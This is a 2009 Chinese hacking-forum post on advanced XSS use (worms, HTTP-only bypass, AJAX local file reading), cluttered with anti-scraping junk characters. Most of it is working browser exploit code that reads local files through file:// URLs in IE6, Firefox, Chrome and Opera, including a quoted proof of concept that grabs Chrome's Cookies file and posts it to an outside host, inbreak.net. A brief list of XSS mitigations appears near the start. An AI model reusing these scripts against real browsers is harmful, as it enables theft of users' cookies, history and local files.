XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
1 [1 e* ~8 c6 o: ^3 W, a- a8 N. Y本帖最后由 racle 于 2009-5-30 09:19 编辑
- u- a: H1 [; x& l6 H$ C+ D: \0 E& d+ l! ?0 O
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
3 y7 }* h5 |/ c2 f- L( `By racle@tian6.com / e# C+ u# I" {4 n; x# N
http://bbs.tian6.com/thread-12711-1-1.html
6 V3 u/ U/ a& a/ y转帖请保留版权
& }$ h' @' d6 [. ]
" ~( Z, T$ c1 A1 I, B6 U9 M% N. O9 p4 m" Y' r% g4 }& @
v w) R& f$ C. A- B( k; x-------------------------------------------前言---------------------------------------------------------4 \' H3 E) _% d1 ^
0 q8 f) ]. @% u: R$ R6 G
6 e# m8 B* U5 c- R4 v" `2 H本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.* C+ C+ Y. E5 P0 g
3 I- X5 s* ]* t; ]; l6 C' |
" S, S: `; b5 M6 n+ r, U
如果你还未具备基础XSS知识,以下几个文章建议拜读:
5 G$ p2 w4 d' E5 d- xhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
2 p2 Z8 `4 G. T. ^http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全. L% B; W% Q' ~: u7 G
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
9 b- t$ { a! mhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
8 S7 J6 u* P$ j9 M$ G& Z' |http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码: H( j6 v7 [7 G; y4 X/ Z
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
9 w1 e7 B% R) \& H% B- P# \, @, W# z' D \4 e
' K8 q2 h+ R) f3 D h% a. L4 J4 F
u- d+ c5 z1 ^' K9 i- o
$ N& z1 o8 j. H/ Q如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
7 P0 X2 h8 J8 B" ~& Y8 O; V1 m
# X* `5 v" Q! ^( j希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.2 I6 W1 h2 M+ u& C
- v8 }- E2 g+ i* P R' k如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,( C! z3 i" |2 j/ G& g7 u
: U% |( K! s! N, F8 e2 F0 RBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
( b! E9 [9 ~; `0 J
1 T- `# H; u2 A2 y$ M! \" h w& g( H2 c$ {QQ ZONE,校内网XSS 感染过万QQ ZONE.& G, p5 S0 V* m( `2 G1 S: e/ ~
6 N. V3 c/ |( X& U/ k, W$ D4 ~. T
OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
1 p, r( o7 y# c ^6 j. L: D0 m3 j, E$ Z: |9 y, T' J
..........
- M' V. Y* J. `, L复制代码------------------------------------------介绍-------------------------------------------------------------
0 w3 K( d; p% A& m$ S4 C/ a
1 I' |+ {9 _2 [" ]4 P什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.1 e- Q `1 G0 i" R$ p
( r$ \! J" z& w. _6 T
. W5 ~3 x; z; n& q( k, ]/ _# X3 T; d# z2 _
跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
. t6 K9 G( f; X6 N
+ F G* Q* U4 P$ z* Y3 ^) `& r
! q7 l. |# r2 P5 r
6 Q/ F- A; F( X* e如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
( a- C! s* B/ S2 y; [" J复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题." {- @% T. h0 I: N: r% x4 A3 Q) d
我们在这里重点探讨以下几个问题:
# z q: ]9 B( D2 [$ C9 r5 w8 Q3 N! u' r# R) a9 O' F
1 通过XSS,我们能实现什么?
4 _9 l+ p" L; Y0 ~9 h/ |% W$ }5 K+ U. z9 Q
2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
- B0 ^7 X4 M4 {& {8 r8 m
/ W, Z* A/ H# x* K# z6 s3 XSS的高级利用和高级综合型XSS蠕虫的可行性?, I9 @ ~1 N& h6 _9 J% X
) V4 T' ^# |$ c' X4 XSS漏洞在输出和输入两个方面怎么才能避免.2 I2 l+ X# D. V4 Q2 g
, q" L# n1 x5 W# M
8 V2 Q/ p! Z- `) l R% u. S) K2 _; J$ T T! t4 k
------------------------------------------研究正题----------------------------------------------------------
* q- A/ P9 R# M
: [* s% }1 O( Y2 ]/ Y7 ?% T) y w4 V/ m4 O3 K- r$ C3 T3 g
. P% W# P0 S! m/ w/ S
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
& T3 I& N1 g2 f" \, y' q% u( e复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫4 z3 Z9 R% a8 Q$ j1 H, p
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
]- M1 e0 U3 S( D1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.7 n3 [. V5 t9 K0 t
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
6 ?, L- j9 V0 V8 o) |3 ^/ K3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.+ K7 ]) ?4 w( T) p* m# v
4:Http-only可以采用作为COOKIES保护方式之一. }8 t) N" @) o% Q
. x' O& q6 L, U% `# w
! e9 L. i+ b& J& z
# p# I( R5 ?+ Z7 i* w+ @" N' Z8 Y5 |" l' K8 V7 g
2 Y& V/ F9 H# `, m9 u7 y" s
(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
! \1 r8 z6 \; g% J
6 l& ~9 G" J, w0 l7 E8 d2 Z我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)* n1 _, B6 t0 M& E# v; o! ?
6 [" ]$ G9 W0 @% [; X, J H: r# N
( B6 E5 T X( L( X& m
% L" `6 w |6 D+ u. ~* J2 G 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
9 y! u: F- y! X2 y; ^6 H; F- O4 \4 M' {1 p
/ o: h7 m9 _( N+ I5 ?3 y
# x5 _0 j" `0 C5 H. x3 G 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
: b8 f0 }" D; G- @/ E/ b h
4 t$ U) I5 F# S; B5 @
$ d) T* y7 e. A* ]$ f+ W4 J3 g
" q+ j" \2 S& e; Q( N2 i 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.5 ^ \. @# E% ?4 X, h7 \2 r
复制代码IE6使用ajax读取本地文件 <script>
# A* |4 x, b1 S' C& G, D2 |
; ]; S% M: p& Q" \' K4 q function $(x){return document.getElementById(x)}
3 ]/ X" j6 j2 t& a$ O: {! H$ ]3 N. B6 ?/ E
, M8 b# E9 L# r- C& j' O7 T0 y+ A% D( Z( i
function ajax_obj(){
2 v1 D5 T# ~/ w4 f- p2 y$ ?( g/ d
$ u& V* _" X0 Q2 S/ _- Y2 I var request = false;
0 W- Q Y! I, M3 {4 v+ a5 ^6 x8 z+ B9 t3 o( w, X; `4 v0 _
if(window.XMLHttpRequest) {
1 q9 y$ l9 ?0 l4 C3 P+ K6 i+ {& W, ]* Y& M" F' s/ h1 E
request = new XMLHttpRequest();
6 V9 Q# U! I: b N) g- Z- n. W7 C6 z9 z0 L' q; M( H; n0 e
} else if(window.ActiveXObject) {
& L! r, f' u0 \$ ^' I8 z: L+ v& B
) v! g9 S# h, w+ I. q1 e var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',6 V) y6 j( m$ [1 R
7 \7 Z) C# T ?& t2 M! x
( C/ X, @# @: p Q% [4 _; R) e4 r" o3 G# s: C' I, Y. y/ V
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. F' R. }2 b b! g1 O& p3 N2 j
" P- ^ r: B r for(var i=0; i<versions.length; i++) {6 G5 [9 N4 M1 }3 S. F
% k0 ^, n3 M- u: `" |! V try {
$ {/ A9 `2 O2 \
& `9 A' d8 K) Z( H- h) H request = new ActiveXObject(versions);
' H4 B- O" M' I3 h; h5 @! E& T
8 Z7 a' g/ P/ }1 G: M } catch(e) {}# o8 o; f/ \/ R
0 H$ S, {: E* A! _* L# I" ^ }
2 e' O8 H. C4 \; |3 `
! ~! f0 Q7 A9 ~' u }
2 A4 s& M: `) ^
Y' f7 q2 M6 w' q* T return request;9 v/ G& b! N) S7 ` n
- p9 ~" x; `0 m m; o) A } L9 [* a. t3 S, E0 V* q
- j& i, _5 n+ I' R
var _x = ajax_obj();
; _( f5 m5 w o, C1 t, z5 w2 \2 E; u# ]$ p
function _7or3(_m,action,argv){
$ I8 ^' v- ?, ]
) n( j& [% ~7 \! V3 _8 [3 r) x _x.open(_m,action,false);
" }5 I5 {/ t$ E: U6 R+ @$ X* `% f" o9 w' _! m0 W
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");9 n5 Q5 A( j8 S
: U- }8 ]/ p: M1 f
_x.send(argv);
8 L. T: S6 ?( _5 |/ `: z) o
/ v7 W/ D1 P% ]$ w' {: |( u m return _x.responseText;; M' X: V2 `: [! b" S$ O% [ D
8 D F1 l5 T# m$ h1 ^$ t/ U }
# e0 x0 S0 ?% M. b4 c) @+ I$ K; V! m
5 @3 g5 g2 r& B- d/ h3 D0 C
* n. r8 Y/ ^/ d4 I. Y W
; J/ n( a7 P3 I$ ^ var txt=_7or3("GET","file://localhost/C:/11.txt",null);6 C$ P; A4 C. s R& {4 h
, s/ P! C/ [' o& U alert(txt);
4 d( b8 S: h: H$ J- J7 t0 g: @* s5 T$ u6 i, `% g- Q
5 b6 k6 g, S$ |, @$ k8 Q! ?* G% ?/ P4 @+ m. x0 ^
</script>
0 g+ L( u2 o2 E! }# C( O复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
; [) K7 Z8 M; ?; x; t" h; W1 W7 [* E! O$ H. f
function $(x){return document.getElementById(x)}0 ]' W8 ^- s4 k4 o1 _' J7 j; i
# R) m5 t3 H" C4 g' _, k
8 A. f2 `- r9 I. O6 h& l
5 q" a. G4 t C3 a' Q function ajax_obj(){ g+ _. t. m0 O5 s! T' f
7 ?( R2 ]6 D& p1 V7 n0 K var request = false;2 W3 ^, [7 x! o7 _+ {
# B, P5 q5 N$ ]7 h% J4 @* i/ y
if(window.XMLHttpRequest) {
. v" ]/ e- @0 v5 K! A- l% r+ _1 d+ T9 S$ b9 ~% Z2 d+ E6 E4 N4 p
request = new XMLHttpRequest();* F- J! r! A- m, N: m4 U
( q# Q7 l8 |2 h4 e8 T; p } else if(window.ActiveXObject) {
) r2 P1 b5 C! A5 e4 k) p
6 i" K( \( Y7 X% K var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',; G+ Z) V$ N* H
4 R7 A* |2 Y7 Z4 ?% R- R+ x: H4 a
' d' p% G2 m6 O- R4 x 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) ~4 `4 c W7 C- J+ f+ s6 O" b4 B8 f& L# l t, b
for(var i=0; i<versions.length; i++) {
v( O" g8 i) {" n9 b' ^
. r* p( w! s% I try {9 n" {( N3 x: M. J$ W
: J, z4 p8 l) D, \! c+ @1 \2 C+ {
request = new ActiveXObject(versions);
* Q( U9 X# I% Y" ^7 M* |
8 _% V5 T, |" Y o. e% _3 ?6 \/ q } catch(e) {}
: y9 K/ }8 b6 H8 R( Q, x) b3 |8 A4 a; L8 j
}1 }0 y+ `. p3 Z7 T+ c7 A. M4 c3 k
3 v8 t K8 n# l2 s! Q) H: X }
6 c# U ^# ^& x3 h7 y8 f% \+ }0 X) X: k
return request;1 t% S* Y k" F1 N! D
9 ~/ ]( r; H; w
}* ?6 ]+ B; ~6 J* X
% A+ \* G2 i1 L* Z; O8 t
var _x = ajax_obj();4 Y$ R2 O( d( P- G$ R
$ W7 p+ \/ T/ l" \# Z5 ]7 `
function _7or3(_m,action,argv){
/ `" D0 b U9 J1 Q
: M. n% f9 e; ~1 s- H F, K) X6 ]6 e _x.open(_m,action,false);
' T, J3 {, c1 V$ q3 L6 Y$ j! c1 b3 d* n/ e5 f* o
if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");; j! u; D: ?4 c, d3 m* f+ t
5 H( ?+ ~0 X9 M/ e
_x.send(argv);
# H5 }" ]" Q& x* P3 M; l- U
4 I* E9 N! _* Y9 W& d" _ return _x.responseText;! m8 L5 q0 Z6 `
! P6 C2 g; x0 L3 \! Z2 |" t6 l
}
+ w/ P! h4 R }: e! I& M1 W! d% ?. J) b" K, r8 W! ^5 d
- M' }7 C$ a: ~' u B% D" ]2 R, x+ M; l; d ?
var txt=_7or3("GET","1/11.txt",null);# O" A% {* C3 t7 v9 {) j7 P
1 }$ a* G7 P+ b+ M. ? alert(txt);
5 z8 V7 P# [1 Y- ^4 k
( j* c' | F4 Q4 l+ d; O2 N1 I$ I! ?/ ^. M& U J
% c1 ~, K' }, P. W8 R, p </script>" V/ E0 S9 k) p$ m$ `3 P$ [
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”& w1 M: o, z6 r7 s: r* w3 d( F+ }
( o# f, a9 p, ?# t- E0 U
' s1 z" J2 Y# J7 S2 n0 y! S
, A; }. ?+ [5 @/ zChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"3 L3 p1 K9 L: I5 n
+ U' D, D1 G! Q
0 Y* [ w& z' g! h3 S+ V1 p! Q' }6 c1 S5 J8 a; M
<? / N& j7 O/ F1 F8 z& L2 B* b1 A
; ^, v' }* x, H7 e/* " n# q; f& {! ~# P0 `9 l( z. \
0 c& r' _1 |: l Chrome 1.0.154.53 use ajax read local txt file and upload exp 1 g6 K) c+ D* i5 K. {0 X
: d* o+ B/ d2 V0 _/ s, X0 ?4 H
www.inbreak.net
4 s+ R) B* T- T/ A- p2 ^
: |" d4 c. o" M! g" R( J author voidloafer@gmail.com 2009-4-22 & M# N1 A+ C5 w
- I$ G" M2 @/ u4 y
http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. & A* |; t& P1 O. Z
8 i& g1 t. ^3 Z4 F" @
*/ * ?% r3 ?, X5 J# e U5 Z: T
6 t' O, O2 e6 d) `( s3 X6 D) R2 B# F
header("Content-Disposition: attachment;filename=kxlzx.htm");
( L: i* M1 ^6 J& N7 B P- `4 |/ |9 L1 S, _6 ^7 s
header("Content-type: application/kxlzx"); - P( Y/ ]* g. y6 D" }* {! n2 x
9 o4 t8 q+ V( {- p, J/*
4 d" l4 D/ n) b; O2 {! E7 x( }" Y3 x
) q- B6 }7 b* `2 W8 z set header, so just download html file,and open it at local. 3 c5 a/ [, K& f! c" N6 K
) x/ A$ W* d1 v4 d& U
*/ 1 Q5 j% v p9 z+ O. ~7 u
, I/ Z, Z( H, h& H3 s6 T1 r?>
5 p% ?* ]2 I% ~% c& w* H6 R
7 X c1 u3 T" U+ O<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 5 a" V% Y- h5 ^# x5 Q0 A
/ q5 E0 x) \, g" B <input id="input" name="cookie" value="" type="hidden">
: M& W2 c0 \4 R2 h2 ?" X+ T# l5 V, U4 z1 x
</form>
& K' z4 i, U5 W ] T% ^
. Z4 R H2 \* b7 q, w# T<script>
$ k+ o" h8 r2 N. L" ~9 {
" j6 n* T, p r: [' _7 K# x. ifunction doMyAjax(user) 4 v1 s1 d# L) Y# t$ k
, u$ F4 K: i7 y, V$ S% @* j+ c7 G+ o{
2 ]! P" l6 o+ W. _5 U) t* S
T) s- N1 S, N; F4 [var time = Math.random(); % Q% H! f5 ~% }
) X- [, k5 v9 B% E
/* ( i, ^/ N0 Q0 [+ B
( c& K' V- R8 `( B4 I# p3 P
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 4 v$ ]( G @3 J' R; S! K' c
# z* T; Y9 {+ l
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
9 n L# c% e% J: j' K( T7 L/ `: O3 z5 k
and so on...
6 I: p+ J& E5 p* \" |, D. p2 e' N1 ^
*/ 0 i Q& E1 n$ z0 S
. ]% S% d) g. G# j) f- S. O$ y
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
, N2 X, f: m; x2 A
3 k ~. |, C/ C4 Z0 D# F1 H 0 z y P( s) l) }3 M: o5 m: x
( G2 f- d- r% U; n% y1 }' r$ z+ ostartRequest(strPer); $ c5 a0 D+ y2 i# `1 D
: n; a3 i v* S' \/ M `$ F4 d8 S7 \. v4 ?1 j4 F3 q' `
2 q3 \4 L% e% u8 P$ B* `
} 9 Q% }* U+ S7 s- Q. p
r: T2 Q& ~0 v
" V3 V+ g7 |' ^3 Q- P1 ]5 E- D5 l) R; |4 q) U
function Enshellcode(txt) : U; r; L; c; I4 m6 f( a" c
2 @7 F, e8 c9 e& i) u4 z, I4 |6 _ t{ 2 d+ v+ t/ x/ R1 \: [' M
x7 ]& h% u" U* f, x6 Z
var url=new String(txt); 0 w( p' B6 i! o
# Q! S3 q+ w5 e: W3 O( rvar i=0,l=0,k=0,curl="";
# H$ u$ n: P* \. W9 ?2 p: [2 n: I8 _ J
l= url.length;
$ u+ {9 k' } p: i/ v6 h% K8 z0 |/ }% b6 G6 R9 M
for(;i<l;i++){
2 e5 F0 r- O; K, ~! Y/ j/ g3 J; n/ j3 h- z$ l/ _
k=url.charCodeAt(i);
$ S! H; @+ ~1 \& Q [+ n1 z* j# k, D% t* S( D
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} / Z {8 L! L( D' G* g
! q7 [+ i1 p6 M: E# A8 kif (l%2){curl+="00";}else{curl+="0000";} 8 d+ _1 ~3 g7 p
$ _. n0 C1 F: a, [$ H- `, ^curl=curl.replace(/(..)(..)/g,"%u$2$1"); ) B& T W p! J! b7 r) j2 n. M
7 s$ {! G f. g4 U; Q0 Greturn curl; 6 Q- L* @& M1 i7 n
& D- m& l* L2 Y& s* m} 3 h0 m* m/ Y8 ~( G' J
! }4 a) ]' \+ U# @( V& f, }0 X: _. u
$ E* S% y2 d) l0 n. K+ D- _6 d/ }. k5 j3 g! A
$ ]4 a5 Q% f- p- R" w# H
, c2 v% @- P& M7 K4 u6 R8 e( S& `var xmlHttp; 8 d+ W8 @& [7 d
" r! P, G2 q0 ?! I
function createXMLHttp(){ * G" Y7 t- X; A0 M+ [9 a# u7 w4 w# \
1 N6 z6 X( x7 W$ u; j) h8 H
if(window.XMLHttpRequest){ 5 K# |3 f# Q1 q" L
. e; L- L& [6 N8 _xmlHttp = new XMLHttpRequest();
, u) u* N1 H9 N1 O& v7 c. H. ^ G8 X u) r& B
} & F, \$ T- m6 y) b$ x6 g% v
0 T& V8 y! s6 p6 t2 I# ^% K
else if(window.ActiveXObject){ G# P/ g1 n$ m$ n) R5 g
" E* Z) y- q8 y" M7 wxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
: g& j) H) ?! q: ?/ h4 L$ p, F1 x3 @
}
7 X; m8 M( q8 z: n! E0 p9 h7 g/ W$ R) F
}
/ R: y! f% B) G5 l/ [% }0 `3 j- [* Q4 E7 j4 j, b
9 L! R- l8 ?0 f7 u
) N0 \# x$ w/ j
function startRequest(doUrl){
2 O0 ~& w% c) g2 b$ E2 i1 I4 _# \( n! Z6 n E3 Q6 t
3 z# t4 P% u$ m0 F' j: l
3 c5 s* h$ F4 ? J" r' m" ^
createXMLHttp();
) _+ y/ b# w6 J% ]1 N i5 Z4 E+ w# J* I- R4 T9 z' v. K& z" U
4 Q9 y* J8 N) L. i B+ k
% E; V/ Z2 ]% L4 E/ Z8 f0 \; a# ] xmlHttp.onreadystatechange = handleStateChange;
( P3 q" N) _& p! Z8 N) b/ e1 ?: w* V
7 ^ {8 C; F, @" f/ ~* E
5 V0 }& x8 F4 z xmlHttp.open("GET", doUrl, true);
0 X! k- j( g. p# E/ g
5 \) }. F4 y7 O% s
) X' H* P1 r* M. l# P6 f8 W8 Z' d* ^0 ?% m: e* j
xmlHttp.send(null);
' l3 m/ p8 E6 P
* j( E3 m1 c' ]) L/ k& o
* W) ]. ]- t+ D6 e% b
! _- ~& B C/ j# N# k; ?: D, z2 M) q K) ^3 R+ v8 |' S( j
) u) E J. W- F. [, r4 a0 K}
; M0 q# ~; M5 f/ H5 w: A, a5 p0 r9 f$ W$ P% ]) u8 Z+ ~/ \4 W
9 v \6 \- M- K Y8 b( ?+ R. X+ C1 j4 E* c/ ]" e n2 P
function handleStateChange(){ 2 D3 X' M8 \& ~
% n, w2 \6 h/ X; E7 l: p' |0 y4 Y t if (xmlHttp.readyState == 4 ){
8 D# }0 x$ X+ Y [7 P' U
0 U# S5 C0 l' o; ~7 ? var strResponse = "";
, z4 Y6 u. p* k& S
h$ |: Q z. G$ j' z8 u+ F setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
: u" k' l2 R' S4 P9 h) O" Z. f g7 c
* t1 d/ {4 g4 ?3 f
% s( ^* D2 f3 R* i5 ]
; r T1 p7 o" x+ \% x } / l; {6 c. B |* @3 I: l0 X1 V
2 f' P# y2 @5 q9 w
}
2 i+ f- D% `5 X& T- \* F& l. k
: I& Z! i3 P( _. v& A& V8 W0 s
2 U9 Z g5 N) E! w6 x) [2 U
$ D# h# z* |9 { ~3 ]. I* L 0 c3 i+ _) i6 d' z
- I* {, C0 W) z% Z1 zfunction framekxlzxPost(text) k, u( j/ O+ q9 n1 _
' f2 w8 r& e$ o{ ; s/ m& _- u" ^8 {+ I6 t& m
* ]. P1 k& _/ v2 N* m6 o& x. w8 H) p
document.getElementById("input").value = Enshellcode(text);
+ g p/ G3 H( B
8 K/ {& }/ q7 ~4 b* F document.getElementById("form").submit();
* s' s9 p, O. \/ }0 V" L" j4 S# Y1 E* e+ A3 ]6 L
}
# l' ?6 s) \: Y; e5 |: G) R7 d2 L# {0 d( j, X
6 n- O+ n2 i! s* c3 ^ T
@1 ^ q% c) n, p6 Q- kdoMyAjax("administrator"); ; \$ r) O; I0 M0 {- p. d6 [
% G3 C5 |( O9 ~7 T8 m
# o' B/ E) j Y# d/ u# k, |
' y6 V; B' g5 w$ o6 w/ o8 Q
</script>9 t |1 M& i- J
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> ; a8 c0 k% W- j# \& V
: o. O5 ?4 ]+ ivar xmlHttp; . X! F; @1 S, O1 _; e. e
$ k7 W8 w" t: Q! Y0 ]+ ?function createXMLHttp(){
% Z/ ~3 H5 l$ n7 y+ `; M
3 o8 D- y- R% @( u if(window.XMLHttpRequest){ * r0 I" y- E7 J/ T9 m
! Q( k. b8 I, D' w xmlHttp = new XMLHttpRequest(); ' _/ m4 i, o& Z$ `; Z# v
# Y9 u. s4 M, v7 t0 y& b0 b } 1 {. c5 F9 u: g: f; m
- e0 S3 [+ G6 ?6 ]5 @ else if(window.ActiveXObject){ 0 q1 |7 j# q5 z& E& n- i3 _
+ U, k3 f H H xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
6 t7 L$ q. w& X$ F0 b' v8 V6 g3 H" H0 t' m. l
} ' x" r" d; d0 F' t+ @
; N6 Y( r2 _) L& d% ?
} 5 g% _: Q- y9 i6 V
) ]; q4 u: P' G) l9 Q
u4 o$ D. E. c' P% o; O' p5 {
' e6 u' }, H* X' N% O8 ]) O& \! P6 rfunction startRequest(doUrl){
- @. P) x' }! q0 A) e
2 c2 n1 g0 A5 t! g8 Z2 u8 t7 ~ 7 L ~& M; T$ q, F7 |( o
5 y( j5 W' O, q; F0 m$ Q; L1 O0 _/ E
createXMLHttp();
2 K" X$ k4 C( G# B$ h, p( @. ?; J( u- w, p
8 w/ s! F: A" z: Y. B* D5 l
r( d- J* ?4 L$ r: k' C xmlHttp.onreadystatechange = handleStateChange; 7 d( g: L7 p% U2 b8 @
! @# _6 n4 u4 {; e - z2 p S- l% c s2 F- |4 T
; L. R$ E& m5 ] g9 m4 I/ f+ F xmlHttp.open("GET", doUrl, true);
1 _# k; @: B% T! ?- V Z" S- H
' d5 O5 w7 y% M; y! o7 C. ] " ~0 B+ k1 |" t! E) f) y V/ K) A" A
$ r, \' z6 i6 \) n b& ~: i, W- | xmlHttp.send(null); ! {4 f7 U' e1 B/ ?$ |
7 o& y! i* @, b% ]* L6 N1 {! ~2 \+ b 3 {8 ^) |" A$ s9 `1 W* z& r" W
9 t+ G% `; y9 l( }8 t
6 q3 A$ n9 i2 U" @, ~
8 T0 N! s3 N" t/ @, O} 6 W7 D% }0 t& z( H7 ~* Y* K" W8 l
X$ \# Z# h- R+ O" }' [5 g
# P/ w$ i/ I5 V
1 N) x# R* m; e1 V9 Ffunction handleStateChange(){
8 J- P7 C/ e+ \7 ^( C1 y+ J" U" W/ K3 V$ K4 ]$ s
if (xmlHttp.readyState == 4 ){ , U5 p' g+ Z9 Q9 }! F5 g
( ^6 m' U, |3 u) Q- \, }' Q var strResponse = "";
; j, D( x' ?4 F2 ]8 n( }4 q2 [& K; l6 o
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 0 d/ e& Y# W! R; Z' Q
" j! @7 j7 R' d" z* {# l 6 _/ I9 {3 e6 x* Z3 W3 u( |
0 U) z, i% r5 F3 ^4 s3 g3 J
}
! e6 Y! l% Q# S, L4 o4 a6 G0 K7 D2 v. x
} & \* U- X* k7 J; P* r4 g
( N, E0 P! e. f2 G
( u4 D4 U" c2 v8 |: Z6 k! E6 ?2 |, z! M
, D! J( J5 H7 T( Yfunction doMyAjax(user,file)
A! B5 e& G+ E
" h! R X! z; O+ j' X{ 0 }& e0 q S: `0 ^! s) [ q) y
' E, ?" L5 U( p. y! p) q7 [ var time = Math.random();
1 u. l9 s7 K, _' n4 a
9 M- @. p6 q9 Z
" W% k# @% P. `% p2 L) }1 r; o* N1 K5 ?# L! }: R( v
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
- {$ z) f3 W7 j& D* Y
6 h$ {9 r% ]" p- y) r5 g
9 a$ ]* n) o1 G+ _4 k) K9 }) L& q" m
, J9 W. p$ M6 F( i8 h startRequest(strPer);
% M; Z" t* e8 `' b% x$ q, n7 t1 b; x) ^3 {
8 }) f8 j$ I7 V. @8 r, c3 h1 X: @2 S8 P! N: n2 m- b: x5 @) ~
}
1 `- P4 Z) Y& U$ ^; `7 a
- F6 p2 B! ^. i$ i" m
" ^+ I: w6 m: @# |1 x8 v7 f6 G
4 }: Z7 ^/ A! o5 Jfunction framekxlzxPost(text)
9 R3 T1 m, \/ c4 `2 Q: j5 @2 C( i, y! ^! k, z4 n
{
# M$ Z4 L7 N8 }& C; i
3 {0 s, n5 m9 W1 F! t5 s% F document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
) W# @* {" E( d, `- f5 Z0 _9 t
& b! v* x3 d6 Y8 J alert(/ok/);
